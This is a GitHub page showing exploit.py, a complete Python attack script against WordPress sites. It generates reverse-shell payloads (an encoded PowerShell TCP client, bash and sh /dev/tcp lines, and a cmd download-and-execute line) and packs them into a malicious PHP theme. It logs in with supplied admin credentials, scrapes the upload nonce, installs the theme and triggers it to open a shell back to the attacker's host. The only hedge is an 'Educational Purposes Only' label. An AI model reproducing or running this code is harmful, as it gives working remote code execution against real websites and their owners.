Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
240 lines (188 loc) · 9.05 KB
/
Copy pathexploit.py
File metadata and controls
240 lines (188 loc) · 9.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
#!/usr/bin/env python3
import argparse
import base64
import zipfile
import requests
import time
import re
from urllib.parse import urljoin
from bs4 import BeautifulSoup
def generate_powershell_payload(lhost, lport):
# Exact PowerShell reverse shell payload
powershell_payload = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()'
# Encode payload in base64 (utf-16le as PowerShell does)
return base64.b64encode(powershell_payload.encode('utf-16le')).decode()
def generate_shell(lhost, lport, shell_type):
shells = {
"bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"sh": f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"powershell": generate_powershell_payload(lhost, lport), # Always base64 encoded
"cmd": f"cmd.exe /c powershell -c \"Invoke-Expression(New-Object Net.WebClient).DownloadString('http://{lhost}:{lport}/payload')\""
}
return shells.get(shell_type, f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1")
def create_malicious_theme(lhost, lport, theme_name="EvilTheme", shell_type="powershell"):
# Generate payload
payload = generate_shell(lhost, lport, shell_type)
# PHP payload
if shell_type == "powershell":
php_payload = f"""<?php
exec("powershell -e {payload}");
?>"""
elif shell_type == "cmd":
php_payload = f"""<?php
exec("{payload}");
?>"""
else:
php_payload = f"""<?php
exec("/bin/bash -c '{payload}'");
?>"""
# WordPress theme files
files = {
"style.css": """/*
Theme Name: EvilTheme
Author: Pentester
Version: 1.0
*/""",
"index.php": php_payload,
"functions.php": php_payload
}
zip_filename = f"{theme_name}.zip"
with zipfile.ZipFile(zip_filename, "w") as z:
for filename, content in files.items():
z.writestr(filename, content)
print(f"[+] Malicious theme generated: {zip_filename}")
return zip_filename
def get_wp_nonce(session, url):
"""
Attempt to retrieve the _wpnonce from a given WordPress admin page.
Uses BeautifulSoup first, then regex as a fallback.
"""
try:
response = session.get(url)
html = response.text
# Method 1: BeautifulSoup (more reliable)
try:
soup = BeautifulSoup(html, "html.parser")
nonce_input = soup.find("input", {"name": "_wpnonce"})
if nonce_input and nonce_input.get("value"):
print(f"[+] Nonce found via BeautifulSoup: {nonce_input['value']}")
return nonce_input["value"]
except Exception:
pass
# Method 2: Regex fallback
nonce_patterns = [
r'name="_wpnonce" value="([a-f0-9]+)"',
r'"_wpnonce":"([a-f0-9]+)"',
r'var _wpnonce\s*=\s*"([a-f0-9]+)"',
r'_wpnonce=([a-f0-9]+)"',
]
for pattern in nonce_patterns:
match = re.search(pattern, html)
if match:
print(f"[+] Nonce found via regex: {match.group(1)}")
return match.group(1)
except Exception as e:
print(f"[-] Error retrieving nonce from {url}: {e}")
return None
def upload_and_execute_exploit(url, username, password, zip_filename, theme_name):
session = requests.Session()
base_url = url.replace('/wp-admin/', '/') if '/wp-admin/' in url else url
if not base_url.endswith('/'):
base_url += '/'
login_url = urljoin(base_url, "wp-login.php")
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection': 'keep-alive'
}
print(f"[+] Getting login page...")
session.get(login_url, headers=headers)
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': urljoin(base_url, "wp-admin/"),
'testcookie': '1'
}
try:
print(f"[+] Attempting login at {login_url}")
response = session.post(login_url, data=login_data, headers=headers, allow_redirects=True)
login_success_indicators = [
'wp-admin' in response.url,
'dashboard' in response.text.lower(),
'log out' in response.text.lower() or 'logout' in response.text.lower(),
'wp-admin-bar' in response.text,
]
if any(login_success_indicators):
print("[+] Login successful")
theme_install_url = urljoin(base_url, "wp-admin/theme-install.php")
print(f"[+] Visiting {theme_install_url} to get nonce...")
nonce = get_wp_nonce(session, theme_install_url)
if not nonce:
print("[-] Could not retrieve nonce, trying upload without it...")
nonce = ""
upload_url = urljoin(base_url, "wp-admin/update.php?action=upload-theme")
print(f"[+] Uploading malicious theme: {zip_filename}")
upload_data = {
'_wpnonce': nonce,
'_wp_http_referer': '/wp-admin/theme-install.php'
}
with open(zip_filename, 'rb') as f:
files = {'themezip': (zip_filename, f, 'application/zip')}
upload_response = session.post(upload_url, data=upload_data, files=files, headers=headers)
success_indicators = [
'theme installed successfully',
'successfully installed',
'installing theme from uploaded file',
'package installed successfully'
]
upload_text = upload_response.text.lower()
if any(indicator in upload_text for indicator in success_indicators):
print("[+] Theme uploaded successfully")
theme_index_url = urljoin(base_url, f"wp-content/themes/{theme_name}/index.php")
print(f"[+] Triggering payload: {theme_index_url}")
try:
for i in range(3):
exec_response = session.get(theme_index_url, timeout=5)
print(f"[+] Payload triggered (attempt {i+1}/3) - Status: {exec_response.status_code}")
time.sleep(1)
print("[+] Payload executed successfully")
except Exception as e:
print(f"[-] Error executing payload: {e}")
print("[+] Check your listener for the reverse shell connection")
else:
print("[-] Theme upload failed")
print(f"[-] Status code: {upload_response.status_code}")
print("[-] Response (first 200 chars):", upload_response.text[:200])
with open('upload_debug.html', 'w', encoding='utf-8') as f:
f.write(upload_response.text)
print("[-] Full response saved to upload_debug.html")
else:
print("[-] Login failed")
print(f"[-] Status code: {response.status_code}")
print(f"[-] Response URL: {response.url}")
except Exception as e:
print(f"[-] Error during exploitation: {e}")
import traceback
traceback.print_exc()
def main():
parser = argparse.ArgumentParser(description="WordPress Theme Upload Exploit (Educational Purposes Only)")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://127.0.0.1/)", required=True)
parser.add_argument("-U", "--username", help="WordPress username", required=True)
parser.add_argument("-P", "--password", help="WordPress password", required=True)
parser.add_argument("-lh", "--lhost", help="Your local IP", required=True)
parser.add_argument("-lp", "--lport", help="Your local port", required=True)
parser.add_argument("-s", "--shell", help="Shell type (bash, sh, powershell, cmd)", default="powershell")
parser.add_argument("-t", "--theme", help="WordPress theme name", default="EvilTheme")
args = parser.parse_args()
print("[+] Target URL:", args.url)
print("[+] Username:", args.username)
print("[+] Password:", args.password)
print("[+] LHOST:", args.lhost)
print("[+] LPORT:", args.lport)
print("[+] Shell type:", args.shell)
zip_filename = create_malicious_theme(args.lhost, args.lport, args.theme, args.shell)
upload_and_execute_exploit(args.url, args.username, args.password, zip_filename, args.theme)
print("[+] Exploit finished. Check your listener.")
if __name__ == "__main__":
main()